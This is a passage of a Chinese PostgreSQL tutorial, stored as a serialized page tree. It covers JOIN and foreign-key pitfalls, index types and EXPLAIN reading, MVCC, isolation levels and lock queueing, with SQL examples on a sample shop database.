ORDER BY created_at DESC LIMIT 3\n",[331,41737,41738],{"class":333,"line":418},[331,41739,41740],{},") o ON true;\n",[53,41742,41744],{"id":41743},"第三步外键动作的现场","第三步：外键动作的现场",[11,41746,41747,41748,8953,41751,322],{},"第四章给过 CASCADE \u002F SET NULL \u002F RESTRICT 的选型表，这里看现场。给 ",[22,41749,41750],{},"orders.user_id",[22,41752,38293],{},[308,41754,41757],{"className":41755,"code":41756,"language":313,"meta":314},[311],"shop=# DELETE FROM users WHERE id = 7;\nDELETE 1\nshop=# SELECT count(*) FROM orders WHERE user_id = 7;\n count\n-------\n     0\n(1 row)      -- 订单整整齐齐跟着没了，删库跑门槛都没有\n",[22,41758,41756],{"__ignoreMap":314},[11,41760,41761,41762,41765,41766,41768],{},"如果当初配的是 ",[22,41763,41764],{},"SET NULL","，同一组操作后 ",[22,41767,37864],{}," 里 user_id=7 的行还在、外键变成 NULL——「关联断了但数据还在」。两个动作都对，取决于业务上订单是「用户的附属品」还是「独立凭证」。",[4748,41770],{"height":40485,"src":41771,"title":41772},"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F07-joins-fk.html","示例 07：JOIN 与外键——过滤位置坑 \u002F NOT IN 翻车 \u002F 级联删除与触发器耗时",[53,41774,4796],{"id":9858},[11,41776,41777,41783],{},[17,41778,8723,41779,41782],{},[22,41780,41781],{},"LEFT JOIN"," 的过滤条件放错地方，语义直接退化。"," 两个查询只差一个从句：",[308,41785,41787],{"className":37560,"code":41786,"language":37562,"meta":314,"style":314},"-- 正确：条件写在 ON 里，LEFT 语义完整保留——所有用户都出现，paid 单才有值\nSELECT u.name, o.id\nFROM users u\nLEFT JOIN orders o ON o.user_id = u.id AND o.status = 'paid';\n\n-- 翻车：条件写在 WHERE 里——join 完补出来的 NULL 行被过滤掉，实际退化成 INNER JOIN\nSELECT u.name, o.id\nFROM users u\nLEFT JOIN orders o ON o.user_id = u.id\nWHERE o.status = 'paid';\n",[22,41788,41789,41794,41799,41803,41808,41812,41817,41821,41825,41829],{"__ignoreMap":314},[331,41790,41791],{"class":333,"line":334},[331,41792,41793],{},"-- 正确：条件写在 ON 里，LEFT 语义完整保留——所有用户都出现，paid 单才有值\n",[331,41795,41796],{"class":333,"line":341},[331,41797,41798],{},"SELECT u.name, o.id\n",[331,41800,41801],{"class":333,"line":357},[331,41802,41659],{},[331,41804,41805],{"class":333,"line":371},[331,41806,41807],{},"LEFT JOIN orders o ON o.user_id = u.id AND o.status = 'paid';\n",[331,41809,41810],{"class":333,"line":384},[331,41811,998],{"emptyLinePlaceholder":997},[331,41813,41814],{"class":333,"line":397},[331,41815,41816],{},"-- 翻车：条件写在 WHERE 里——join 完补出来的 NULL 行被过滤掉，实际退化成 INNER JOIN\n",[331,41818,41819],{"class":333,"line":418},[331,41820,41798],{},[331,41822,41823],{"class":333,"line":427},[331,41824,41659],{},[331,41826,41827],{"class":333,"line":439},[331,41828,41664],{},[331,41830,41831],{"class":333,"line":450},[331,41832,41833],{},"WHERE o.status = 'paid';\n",[11,41835,10660,41836,41839],{},[17,41837,41838],{},"对右表（被 JOIN 表）的过滤放 ON，对左表主数据的过滤放 WHERE","。示例 07 里有这两个查询并排的输出对比。",[11,41841,41842],{},[17,41843,5672,41844,41847],{},[22,41845,41846],{},"NOT IN"," 遇上子查询里的 NULL 会全军覆没。",[308,41849,41851],{"className":37560,"code":41850,"language":37562,"meta":314,"style":314},"-- product_tags.product_id 里只要有一行 NULL，这条永远返回 0 行\nSELECT name FROM products\nWHERE id NOT IN (SELECT product_id FROM product_tags);\n\n-- NOT EXISTS 不受影响，语义正确\nSELECT name FROM products p\nWHERE NOT EXISTS (SELECT 1 FROM product_tags t WHERE t.product_id = p.id);\n",[22,41852,41853,41858,41863,41868,41872,41877,41882],{"__ignoreMap":314},[331,41854,41855],{"class":333,"line":334},[331,41856,41857],{},"-- product_tags.product_id 里只要有一行 NULL，这条永远返回 0 行\n",[331,41859,41860],{"class":333,"line":341},[331,41861,41862],{},"SELECT name FROM products\n",[331,41864,41865],{"class":333,"line":357},[331,41866,41867],{},"WHERE id NOT IN (SELECT product_id FROM product_tags);\n",[331,41869,41870],{"class":333,"line":371},[331,41871,998],{"emptyLinePlaceholder":997},[331,41873,41874],{"class":333,"line":384},[331,41875,41876],{},"-- NOT EXISTS 不受影响，语义正确\n",[331,41878,41879],{"class":333,"line":397},[331,41880,41881],{},"SELECT name FROM products p\n",[331,41883,41884],{"class":333,"line":418},[331,41885,41886],{},"WHERE NOT EXISTS (SELECT 1 FROM product_tags t WHERE t.product_id = p.id);\n",[11,41888,41889,41890,41892,41893,41896],{},"原因是 ",[22,41891,41846],{}," 展开成「与所有元素都不等」，而任何值与 NULL 比较都是「未知」，整个条件永远不成立。",[17,41894,41895],{},"否定语义一律写 NOT EXISTS","，这条规则能免掉一类极难排查的线上问题（数据一变 NULL，查询悄悄变空）。",[11,41898,41899,41902,41903,41906,41907,41910,41911,41914,41915,41918,41919,41922],{},[17,41900,41901],{},"3. PG 不给外键自动建索引，删除时会现场爆发。"," 第四章埋的雷在这里显形：",[22,41904,41905],{},"EXPLAIN ANALYZE DELETE FROM users WHERE id = 7"," 的输出里有一行 ",[22,41908,41909],{},"Trigger for constraint orders_user_id_fkey: time=143.2 ms","——父表按主键索引秒删，但 PG 检查引用约束时要",[17,41912,41913],{},"顺序扫一遍 orders 全表","。给 ",[22,41916,41917],{},"orders(user_id)"," 建上索引再删，同一个 DELETE 的触发器耗时掉到 0.1ms 量级。",[17,41920,41921],{},"建外键的下一行就建索引","，让这两行在迁移脚本里永远是邻居。",[11,41924,41925,41934,41935,41938],{},[17,41926,7689,41927,41929,41930,41933],{},[22,41928,41122],{}," 子查询后面必须跟 ",[22,41931,41932],{},"ON"," 条件","，没有条件就写 ",[22,41936,41937],{},"ON true","，直接省掉会报语法错误。它比窗口函数直观，但每行都要执行一次子查询，驱动集很大时先看执行计划（第八章）。",[48,41940,41942],{"id":41941},"八索引b-tree-走得快也要养得起","八、索引：B-tree 走得快，也要养得起",[11,41944,41945],{},"本章先给「建一个索引并确认它生效」这条最小路径（第一步到第三步），把读执行计划的方法、六种索引类型和索引的成本账放到章末——第一遍只需要会前三步。",[53,41947,41949],{"id":41948},"第一步建一个索引确认它生效","第一步：建一个索引，确认它生效",[308,41951,41953],{"className":37560,"code":41952,"language":37562,"meta":314,"style":314},"CREATE INDEX idx_orders_order_no ON orders (order_no);\n\nEXPLAIN (ANALYZE, BUFFERS) SELECT * FROM orders WHERE order_no = 'SO-2026-000123';\n",[22,41954,41955,41960,41964],{"__ignoreMap":314},[331,41956,41957],{"class":333,"line":334},[331,41958,41959],{},"CREATE INDEX idx_orders_order_no ON orders (order_no);\n",[331,41961,41962],{"class":333,"line":341},[331,41963,998],{"emptyLinePlaceholder":997},[331,41965,41966],{"class":333,"line":357},[331,41967,41968],{},"EXPLAIN (ANALYZE, BUFFERS) SELECT * FROM orders WHERE order_no = 'SO-2026-000123';\n",[11,41970,41971,41972,41975,41976,41979,41980,41982,41983,41986],{},"计划里出现 ",[22,41973,41974],{},"Index Scan using idx_orders_order_no"," 就说明走上了；还是 ",[22,41977,41978],{},"Seq Scan"," 就是没走上（列上有隐式转换、条件写成函数包裹、或者命中行太多优化器主动放弃）。",[22,41981,37888],{}," 必须加 ",[22,41984,41985],{},"ANALYZE"," 才会真的执行并给出 actual 数字，详见坑 1。",[53,41988,41990],{"id":41989},"第二步复合索引的列序","第二步：复合索引的列序",[308,41992,41994],{"className":37560,"code":41993,"language":37562,"meta":314,"style":314},"CREATE INDEX idx_orders_user_created ON orders (user_id, created_at);\n",[22,41995,41996],{"__ignoreMap":314},[331,41997,41998],{"class":333,"line":334},[331,41999,41993],{},[11,42001,42002,42003,42006,42007,42010,42011,42014,42015,42017,42018,42021,42022,42024,42025,42028],{},"最左前缀规则决定它能服务谁：",[22,42004,42005],{},"WHERE user_id = 42"," 能用（最左列独立命中）；",[22,42008,42009],{},"WHERE user_id = 42 AND created_at > now() - interval '7 days'"," 能用得很好；",[22,42012,42013],{},"WHERE created_at > ..."," 单独用",[17,42016,24918],{},"——最左列缺席，索引整体作废。通用配方：",[17,42019,42020],{},"等值条件列在前，范围条件列在后","；再把 ",[22,42023,40552],{}," 的列对齐进去，",[22,42026,42027],{},"WHERE user_id = 42 ORDER BY created_at DESC LIMIT 5"," 可以完全在索引里倒着走五步就停，计划里连 Sort 节点都没有（示例 08 有这个计划的对照）。",[53,42030,42032],{"id":42031},"第三步三种救场索引","第三步：三种「救场」索引",[11,42034,42035,42038,42039,42042],{},[17,42036,42037],{},"覆盖索引（INCLUDE）","——查询需要的列全在索引里，就不用回表。PG 11 起 ",[22,42040,42041],{},"CREATE INDEX ... INCLUDE (extra_col)"," 把额外列挂进索引叶子页（不参与排序）：",[308,42044,42046],{"className":37560,"code":42045,"language":37562,"meta":314,"style":314},"CREATE INDEX idx_orders_user_cover ON orders (user_id) INCLUDE (status, amount);\n",[22,42047,42048],{"__ignoreMap":314},[331,42049,42050],{"class":333,"line":334},[331,42051,42045],{},[11,42053,42054,42057,42058,42060],{},[17,42055,42056],{},"部分索引","——只索引满足条件的行，待办列表场景极爽，百万订单里 ",[22,42059,7956],{}," 状态的就几千行：",[308,42062,42064],{"className":37560,"code":42063,"language":37562,"meta":314,"style":314},"CREATE INDEX idx_orders_pending ON orders (created_at)\nWHERE status = 'pending';\n",[22,42065,42066,42071],{"__ignoreMap":314},[331,42067,42068],{"class":333,"line":334},[331,42069,42070],{},"CREATE INDEX idx_orders_pending ON orders (created_at)\n",[331,42072,42073],{"class":333,"line":341},[331,42074,42075],{},"WHERE status = 'pending';\n",[11,42077,42078],{},"索引体积是全量索引的零头，写入时多数行根本不进索引，代价几乎为零。",[11,42080,42081,42084,42085,42088,42089,42092],{},[17,42082,42083],{},"表达式索引","——第四章埋过的雷在这里拆。",[22,42086,42087],{},"WHERE lower(email) = 'ada@example.com'"," 用普通 btree 索引是",[17,42090,42091],{},"命中不了的","，建表达式索引：",[308,42094,42096],{"className":37560,"code":42095,"language":37562,"meta":314,"style":314},"CREATE INDEX idx_users_email_lc ON users (lower(email));\n",[22,42097,42098],{"__ignoreMap":314},[331,42099,42100],{"class":333,"line":334},[331,42101,42095],{},[4748,42103],{"height":42104,"src":42105,"title":42106},600,"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F08-index-explain.html","示例 08：索引与 EXPLAIN——Seq \u002F Index \u002F Bitmap 前后对照、复合列序、表达式索引",[53,42108,4796],{"id":10769},[11,42110,42111,42117,42118,42121],{},[17,42112,42113,42114,42116],{},"1. 不加 ",[22,42115,41985],{}," 的 EXPLAIN 是「打算」，不是「结果」。"," 不加只显示优化器",[17,42119,42120],{},"计划","怎么执行，加上才真的执行并显示 actual 行数与耗时。拿计划里的估算行数去汇报，等于没跑。",[11,42123,42124,42127,42128,42131,42132,42135,42136,42139,42140,42143,42144,42147,42148,42151],{},[17,42125,42126],{},"2. 估算行数和实际行数差一个数量级，先怀疑统计信息。"," 读输出抓三样：",[22,42129,42130],{},"rows=","（估算行数）与 actual 行数差多少——差一个数量级说明统计信息过期，跑一把 ",[22,42133,42134],{},"ANALYZE orders"," 让 autovacuum 重新采样；",[22,42137,42138],{},"Buffers: shared read=","（从磁盘读了多少页）——",[22,42141,42142],{},"hit"," 是缓存命中，",[22,42145,42146],{},"read"," 是真实 IO；",[22,42149,42150],{},"Execution Time","——唯一能写进汇报的数字。",[11,42153,42154,42157,42158,42160,42161,42163,42164,42167,42168,161],{},[17,42155,42156],{},"3. 表达式索引是「文本级一致」才匹配。"," 建索引用 ",[22,42159,39452],{},"，查询就必须写一模一样的 ",[22,42162,39452],{},"，写成 ",[22,42165,42166],{},"lower(email, 'C')"," 都会对不上——这也是全文搜索第十三章要用「同一表达式」的原因。另一种解法更省事：应用侧保证存入时已小写，查询写 ",[22,42169,42170],{},"WHERE email = lower('Ada@Example.com')",[11,42172,42173,42179],{},[17,42174,7689,42175,42178],{},[22,42176,42177],{},"%关键词%"," 这种中缀 LIKE 用不上 btree。"," 解法是 pg_trgm 扩展 + GIN 索引：",[308,42181,42183],{"className":37560,"code":42182,"language":37562,"meta":314,"style":314},"CREATE EXTENSION pg_trgm;\nCREATE INDEX idx_products_name_trgm ON products USING gin (name gin_trgm_ops);\n",[22,42184,42185,42190],{"__ignoreMap":314},[331,42186,42187],{"class":333,"line":334},[331,42188,42189],{},"CREATE EXTENSION pg_trgm;\n",[331,42191,42192],{"class":333,"line":341},[331,42193,42194],{},"CREATE INDEX idx_products_name_trgm ON products USING gin (name gin_trgm_ops);\n",[11,42196,42197,42198,42201],{},"它把字符串拆成三元组做倒排，",[22,42199,42200],{},"ILIKE '%键盘%'"," 也能走索引——很多「搜索框」需求到这一步就够了，撑不到需要第十三章全文搜索的程度。",[11,42203,42204,42207,42208,42211,42212,42215,42216,42219],{},[17,42205,42206],{},"5. 索引不是免费的：写入要付利息，膨胀要还本金。"," 每多一个索引，每次 INSERT\u002FUPDATE 都多一次维护写入；",[22,42209,42210],{},"UPDATE"," 只要碰了",[17,42213,42214],{},"任何一个被索引的列","，新版本就要在所有相关索引里各插一份（旧版本变死元组，第九章细说）。所以「先建 20 个索引再倒数据」不如反过来：",[17,42217,42218],{},"大批量导入前删掉非约束索引，导完 ANALYZE 再重建","，快一个数量级很正常。",[11,42221,42222,42225,42226,42229,42230,42233,42234,42237],{},[17,42223,42224],{},"6. 表和索引都会膨胀，要会看数字。"," PG 里有 ",[22,42227,42228],{},"pgstattuple"," 扩展可以看表和索引的死元组比例（膨胀率），阈值到 20%~30% 就值得处理：常规 ",[22,42231,42232],{},"VACUUM"," 只回收不还磁盘，",[22,42235,42236],{},"VACUUM FULL"," 还磁盘但拿全表排他锁，线上用 pg_repack 平替。这一账记进第十六章核对清单。",[11,42239,42240,42246,42247,42249],{},[17,42241,5772,42242,42245],{},[22,42243,42244],{},"Index Only Scan"," 吃不吃得到，取决于 vacuum。"," 覆盖索引配合「visibility map 足够干净」才会出现 ",[22,42248,42244],{},"，连堆表都不碰；长期不 vacuum 的表会退化成带 heap fetch 的普通扫描（第九章 MVCC 讲为什么）。",[53,42251,42253],{"id":42252},"附explain-节点与索引类型速查","附：EXPLAIN 节点与索引类型速查",[57,42255,42256,42269],{},[60,42257,42258],{},[63,42259,42260,42263,42266],{},[66,42261,42262],{},"节点",[66,42264,42265],{},"意思",[66,42267,42268],{},"什么时候出现",[79,42270,42271,42283,42296],{},[63,42272,42273,42277,42280],{},[84,42274,42275],{},[22,42276,41978],{},[84,42278,42279],{},"全表顺序扫",[84,42281,42282],{},"无索引可用，或优化器算出全扫更便宜（命中行太多）",[63,42284,42285,42290,42293],{},[84,42286,42287],{},[22,42288,42289],{},"Index Scan",[84,42291,42292],{},"沿索引走，边走边回表",[84,42294,42295],{},"命中行少",[63,42297,42298,42306,42309],{},[84,42299,42300,4809,42303],{},[22,42301,42302],{},"Bitmap Heap Scan",[22,42304,42305],{},"Bitmap Index Scan",[84,42307,42308],{},"先在索引里收集一批行的位图，再成批回表",[84,42310,42311],{},"命中行中等量级（几百到几万）",[57,42313,42314,42325],{},[60,42315,42316],{},[63,42317,42318,42320,42323],{},[66,42319,8896],{},[66,42321,42322],{},"擅长",[66,42324,21232],{},[79,42326,42327,42354,42368,42387,42400,42413],{},[63,42328,42329,42335,42351],{},[84,42330,42331,42334],{},[22,42332,42333],{},"btree","（默认）",[84,42336,42337,272,42339,272,42341,272,42344,42347,42348],{},[22,42338,518],{},[22,42340,510],{},[22,42342,42343],{},">",[22,42345,42346],{},"BETWEEN","、前缀 ",[22,42349,42350],{},"LIKE 'abc%'",[84,42352,42353],{},"99% 的索引",[63,42355,42356,42361,42365],{},[84,42357,42358],{},[22,42359,42360],{},"hash",[84,42362,20444,42363],{},[22,42364,518],{},[84,42366,42367],{},"PG 10 起才可靠，等值超长键可以考虑",[63,42369,42370,42375,42378],{},[84,42371,42372],{},[22,42373,42374],{},"gin",[84,42376,42377],{},"倒排索引，「包含」类查询",[84,42379,42380,42381,42383,42384,42386],{},"jsonb ",[22,42382,39764],{},"、数组 ",[22,42385,14406],{},"、全文搜索（第十三章）",[63,42388,42389,42394,42397],{},[84,42390,42391],{},[22,42392,42393],{},"gist",[84,42395,42396],{},"通用搜索树，「相交\u002F相邻」类",[84,42398,42399],{},"地理（第十四章）、范围类型、排他约束（防止区间重叠）",[63,42401,42402,42407,42410],{},[84,42403,42404],{},[22,42405,42406],{},"spgist",[84,42408,42409],{},"空间分区树",[84,42411,42412],{},"特殊数据分布，如 IP 前缀",[63,42414,42415,42420,42423],{},[84,42416,42417],{},[22,42418,42419],{},"brin",[84,42421,42422],{},"只存每个块区间的 min\u002Fmax",[84,42424,42425],{},"超大且按写入顺序查询的表（日志、流水），体积极小",[48,42427,42429],{"id":42428},"九事务与锁mvcc隔离级别与排队事故","九、事务与锁：MVCC、隔离级别与排队事故",[11,42431,42432,42433,42436],{},"PG 的并发控制全建立在 MVCC（多版本并发控制）上：",[17,42434,42435],{},"写不阻塞读，读不阻塞写","。第一遍只需要掌握第一步那三种写法（不丢更新的套路），隔离级别的差异、锁排队和死锁都收在章末。",[53,42438,42440],{"id":42439},"第一步事务的三种安全写法","第一步：事务的三种安全写法",[11,42442,42443],{},"「SELECT 检查库存 → 应用判断 → UPDATE 扣减」这套流程在并发下必然丢更新：两个事务同时读到库存 1、都判断通过、都写成功，库存变 -1。三种修法按保守到乐观排：",[308,42445,42447],{"className":37560,"code":42446,"language":37562,"meta":314,"style":314},"-- ① 悲观：先把行锁住再查（行内排队）\nBEGIN;\nSELECT stock FROM products WHERE id = 1 FOR UPDATE;  -- 锁住这行\nUPDATE products SET stock = stock - 1 WHERE id = 1;  -- 安全\nCOMMIT;\n\n-- ② 乐观：把判断压进 UPDATE 的 WHERE，看影响行数\nUPDATE products SET stock = stock - 1\nWHERE id = 1 AND stock >= 1;\n-- 应用侧检查 affected rows：0 就说明被抢了，走「已售罄」分支\n\n-- ③ 原子：第五章的 upsert，配「不存在则插入」的幂等语义\nINSERT INTO stock_log (product_id, day, sold) VALUES (1, '2026-10-10', 1)\nON CONFLICT (product_id, day) DO UPDATE SET sold = stock_log.sold + 1;\n",[22,42448,42449,42454,42459,42464,42469,42474,42478,42483,42488,42493,42498,42502,42507,42512],{"__ignoreMap":314},[331,42450,42451],{"class":333,"line":334},[331,42452,42453],{},"-- ① 悲观：先把行锁住再查（行内排队）\n",[331,42455,42456],{"class":333,"line":341},[331,42457,42458],{},"BEGIN;\n",[331,42460,42461],{"class":333,"line":357},[331,42462,42463],{},"SELECT stock FROM products WHERE id = 1 FOR UPDATE;  -- 锁住这行\n",[331,42465,42466],{"class":333,"line":371},[331,42467,42468],{},"UPDATE products SET stock = stock - 1 WHERE id = 1;  -- 安全\n",[331,42470,42471],{"class":333,"line":384},[331,42472,42473],{},"COMMIT;\n",[331,42475,42476],{"class":333,"line":397},[331,42477,998],{"emptyLinePlaceholder":997},[331,42479,42480],{"class":333,"line":418},[331,42481,42482],{},"-- ② 乐观：把判断压进 UPDATE 的 WHERE，看影响行数\n",[331,42484,42485],{"class":333,"line":427},[331,42486,42487],{},"UPDATE products SET stock = stock - 1\n",[331,42489,42490],{"class":333,"line":439},[331,42491,42492],{},"WHERE id = 1 AND stock >= 1;\n",[331,42494,42495],{"class":333,"line":450},[331,42496,42497],{},"-- 应用侧检查 affected rows：0 就说明被抢了，走「已售罄」分支\n",[331,42499,42500],{"class":333,"line":456},[331,42501,998],{"emptyLinePlaceholder":997},[331,42503,42504],{"class":333,"line":775},[331,42505,42506],{},"-- ③ 原子：第五章的 upsert，配「不存在则插入」的幂等语义\n",[331,42508,42509],{"class":333,"line":785},[331,42510,42511],{},"INSERT INTO stock_log (product_id, day, sold) VALUES (1, '2026-10-10', 1)\n",[331,42513,42514],{"class":333,"line":795},[331,42515,42516],{},"ON CONFLICT (product_id, day) DO UPDATE SET sold = stock_log.sold + 1;\n",[11,42518,42519],{},"日常优先 ②——它不持锁等待、天然并发安全，业务分支也清晰；热点行抢购场景才需要 ① 或引入队列削峰。",[53,42521,42523],{"id":42522},"第二步知道读不阻塞写就够了","第二步：知道「读不阻塞写」就够了",[11,42525,42526,42527,42530,42531,42534,42535,322],{},"每行都有几个系统隐藏列：",[22,42528,42529],{},"xmin","（创建它的事务号）、",[22,42532,42533],{},"xmax","（删除\u002F失效它的事务号）。UPDATE 也不存在原地修改——",[17,42536,42537],{},"它是「插一行新版本 + 给旧版本打墓碑」",[308,42539,42541],{"className":37560,"code":42540,"language":37562,"meta":314,"style":314},"SELECT xmin, xmax, status FROM orders WHERE id = 42;   --  258312 |      0 | pending\nUPDATE orders SET status = 'paid' WHERE id = 42;\nSELECT xmin, xmax, status FROM orders WHERE id = 42;   --  258421 |      0 | paid\n",[22,42542,42543,42548,42553],{"__ignoreMap":314},[331,42544,42545],{"class":333,"line":334},[331,42546,42547],{},"SELECT xmin, xmax, status FROM orders WHERE id = 42;   --  258312 |      0 | pending\n",[331,42549,42550],{"class":333,"line":341},[331,42551,42552],{},"UPDATE orders SET status = 'paid' WHERE id = 42;\n",[331,42554,42555],{"class":333,"line":357},[331,42556,42557],{},"SELECT xmin, xmax, status FROM orders WHERE id = 42;   --  258421 |      0 | paid\n",[11,42559,42560,42561,42564],{},"第二次查询看到的 xmin 已经是新事务号——那是一个新元组。旧版本（xmin=258312）被标上 ",[22,42562,42563],{},"xmax=258421","，成为死元组；但只要还有别的事务的快照能看到它，它就必须留着。这一条推出本章所有的怪现象，也推出第九章坑 1 那条雪崩。",[53,42566,42568],{"id":42567},"第三步多-worker-抢任务用-skip-locked","第三步：多 worker 抢任务，用 SKIP LOCKED",[11,42570,42571,42574,42575,42578,42579,42582,42583,42586],{},[22,42572,42573],{},"SELECT ... FOR UPDATE"," 拿行级排他锁，两个修饰词改变冲突时的行为：",[22,42576,42577],{},"NOWAIT"," 拿不到立即报错；",[22,42580,42581],{},"SKIP LOCKED"," 拿不到就",[17,42584,42585],{},"跳过去看下一行","。后者是「多 worker 抢任务」的标准解：",[308,42588,42590],{"className":37560,"code":42589,"language":37562,"meta":314,"style":314},"UPDATE jobs SET status = 'running', worker = 'w1'\nWHERE id = (\n  SELECT id FROM jobs\n  WHERE status = 'pending'\n  ORDER BY id\n  LIMIT 1\n  FOR UPDATE SKIP LOCKED\n)\nRETURNING id, payload;\n",[22,42591,42592,42597,42602,42607,42612,42617,42622,42627,42631],{"__ignoreMap":314},[331,42593,42594],{"class":333,"line":334},[331,42595,42596],{},"UPDATE jobs SET status = 'running', worker = 'w1'\n",[331,42598,42599],{"class":333,"line":341},[331,42600,42601],{},"WHERE id = (\n",[331,42603,42604],{"class":333,"line":357},[331,42605,42606],{},"  SELECT id FROM jobs\n",[331,42608,42609],{"class":333,"line":371},[331,42610,42611],{},"  WHERE status = 'pending'\n",[331,42613,42614],{"class":333,"line":384},[331,42615,42616],{},"  ORDER BY id\n",[331,42618,42619],{"class":333,"line":397},[331,42620,42621],{},"  LIMIT 1\n",[331,42623,42624],{"class":333,"line":418},[331,42625,42626],{},"  FOR UPDATE SKIP LOCKED\n",[331,42628,42629],{"class":333,"line":427},[331,42630,972],{},[331,42632,42633],{"class":333,"line":439},[331,42634,42635],{},"RETURNING id, payload;\n",[11,42637,42638,42639,42642,42643,42645],{},"两个 worker 同时执行：w1 锁住 101 号，w2 在子查询里发现 101 被锁、自动跳到 102——",[17,42640,42641],{},"互不等待、永不撞车","。拿消息队列（Kafka\u002FRedis）之前，很多轻量任务场景到 ",[22,42644,42581],{}," 就够用了，又少养一个组件。",[4748,42647],{"height":42104,"src":42648,"title":42649},"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F09-mvcc-locks.html","示例 09：MVCC 与锁——xmin\u002Fxmax、复读现象、SKIP LOCKED、死锁与 lock_timeout",[53,42651,4796],{"id":11493},[11,42653,42654,42657],{},[17,42655,42656],{},"1. 一个「idle in transaction」能让全库膨胀。"," 承第二步的推论：只要还有事务的快照能看到旧版本，死元组就不能回收。所以一个挂着不提交的长事务，会让 vacuum 无法回收全库的死元组，表和索引一路膨胀，全库变慢——这是 PG 独有的雪崩形态，第十六章清单里「监控 idle in transaction」专门冲它去的。",[11,42659,42660],{},[17,42661,42662],{},"2. 默认隔离级别 READ COMMITTED 下，事务内两次 SELECT 结果可以不同。",[308,42664,42667],{"className":42665,"code":42666,"language":313,"meta":314},[311],"-- 会话 A                                    -- 会话 B\nBEGIN;\nSELECT count(*) FROM orders;  -- 1000\n                                             BEGIN;\n                                             UPDATE orders SET status='paid' WHERE id\u003C5;\n                                             COMMIT;   -- B 已提交\nSELECT count(*) FROM orders;  -- 还是 1000？不，这次是 1005\nCOMMIT;\n",[22,42668,42666],{"__ignoreMap":314},[11,42670,42671,42672,42675],{},"A 的两条 SELECT 之间没有任何写入，但第二次看到了 B 已提交的数据——因为 RC 下",[17,42673,42674],{},"每条语句","都换新快照。从 MySQL（默认 RR）迁过来、依赖「事务内复读」的代码要改写。",[11,42677,42678,42681,42682,42685,42686,42689,42690,42693],{},[17,42679,42680],{},"3. 升到 RR \u002F SERIALIZABLE，就要写重试循环。"," InnoDB 的 RR 靠间隙锁挡幻读，PG 的 RR 靠快照——",[17,42683,42684],{},"读不加锁，写冲突靠报错重试","：并发改同一行时冲突方会报 ",[22,42687,42688],{},"could not serialize access due to concurrent update","，SERIALIZABLE 还会预测危险结构并报 serial failure。应用必须捕获 ",[22,42691,42692],{},"40001"," SQLSTATE 重来一次，否则就是偶发 500。",[11,42695,42696,42702,42703,42708],{},[17,42697,7689,42698,42701],{},[22,42699,42700],{},"ALTER TABLE"," 能把全站堵死。"," 行锁之上还有表级锁，八级里只需要记住两端：普通 SELECT\u002FUPDATE 拿的都是弱锁，互不冲突；而 ",[17,42704,42705,42707],{},[22,42706,42700],{}," 要拿 ACCESS EXCLUSIVE——与一切读写互斥","。事故链通常是这么发生的：",[308,42710,42713],{"className":42711,"code":42712,"language":313,"meta":314},[311],"14:00:03  会话 A：一个长查询\u002F未提交事务还挂着（拿住弱锁）\n14:00:05  DBA：ALTER TABLE orders ADD COLUMN memo text;  → 排队等 A\n14:00:06  之后的所有 SELECT ... FROM orders → 全部排在 DDL 后面（FIFO 队列）\n14:00:30  全站接口超时，报警炸了\n",[22,42714,42712],{"__ignoreMap":314},[11,42716,42717,42720,42721,42724,42725,42728],{},[17,42718,42719],{},"锁队列是先进先出的","，DDL 一旦排进去，后面所有请求不管读写都得等它。防御两件套：会话级先 ",[22,42722,42723],{},"SET lock_timeout = '3s';"," 再执行 DDL，拿不到锁立刻退出（而不是堵门）；大表建索引一律 ",[22,42726,42727],{},"CREATE INDEX CONCURRENTLY","——不挡写入（代价：慢一些，失败会留下 INVALID 索引需要 drop 重来）。",[11,42730,42731,42734],{},[17,42732,42733],{},"5. 死锁不靠调参解决，靠统一加锁顺序。"," A 锁 42 再要 43，B 锁 43 再要 42，互相等到天荒地老——PG 的死锁检测器（默认 deadlock_timeout 1 秒）会杀掉其一：",[308,42736,42739],{"className":42737,"code":42738,"language":313,"meta":314},[311],"ERROR:  deadlock detected\nDETAIL:  Process 2847 waits for ShareLock on transaction 258330;\n         blocked by transaction 258325.\n         Process 2831 waits for ShareLock on transaction 258325;\n         blocked by transaction 258330.\nHINT:  ... server log 有两个进程正在执行的 SQL\n",[22,42740,42738],{"__ignoreMap":314},[11,42742,42743,42744,42747],{},"解法不是调参，是",[17,42745,42746],{},"改业务加锁顺序","：所有代码路径都按固定顺序（比如按主键升序）加锁，环路就消失了。",[11,42749,42750,42753],{},[17,42751,42752],{},"6. 外键列没索引，删除会放大成锁等待。"," 第七章那条「PG 不给外键自动建索引」的坑，在事务里更致命：删父表一行要顺序扫子表检查引用，扫描期间两边都持锁，直接变成排队事故。",[53,42755,42757],{"id":42756},"附隔离级别速查","附：隔离级别速查",[57,42759,42760,42779],{},[60,42761,42762],{},[63,42763,42764,42767,42770,42773,42776],{},[66,42765,42766],{},"级别",[66,42768,42769],{},"脏读",[66,42771,42772],{},"不可重复读",[66,42774,42775],{},"幻读",[66,42777,42778],{},"PG 的实现与脾气",[79,42780,42781,42797,42813,42832],{},[63,42782,42783,42786,42789,42792,42794],{},[84,42784,42785],{},"READ UNCOMMITTED",[84,42787,42788],{},"不存在（PG 直接当 RC 处理）",[84,42790,42791],{},"有",[84,42793,42791],{},[84,42795,42796],{},"PG 不允许脏读，设了也白设",[63,42798,42799,42802,42804,42808,42810],{},[84,42800,42801],{},"READ COMMITTED（默认）",[84,42803,8273],{},[84,42805,42806],{},[17,42807,42791],{},[84,42809,42791],{},[84,42811,42812],{},"每条语句拿一个新快照，事务里两次 SELECT 结果可以不同",[63,42814,42815,42817,42819,42821,42826],{},[84,42816,36665],{},[84,42818,8273],{},[84,42820,8273],{},[84,42822,42823,42825],{},[17,42824,8273],{},"（快照隔离）",[84,42827,42828,42829,42831],{},"事务开始定快照；并发改同一行时冲突方报 ",[22,42830,42688],{},"，需重试",[63,42833,42834,42837,42839,42841,42843],{},[84,42835,42836],{},"SERIALIZABLE",[84,42838,8273],{},[84,42840,8273],{},[84,42842,8273],{},[84,42844,42845],{},"SSI 算法预测危险结构，冲突报 serial failure，应用必须带重试",[48,42847,42849],{"id":42848},"十视图与-cte把长查询变成复用单元","十、视图与 CTE：把长查询变成复用单元",[53,42851,42853],{"id":42852},"第一步视图给长查询起个名字","第一步：视图——给长查询起个名字",[308,42855,42857],{"className":37560,"code":42856,"language":37562,"meta":314,"style":314},"CREATE VIEW v_paid_orders AS\nSELECT id, user_id, amount, paid_at\nFROM orders\nWHERE status = 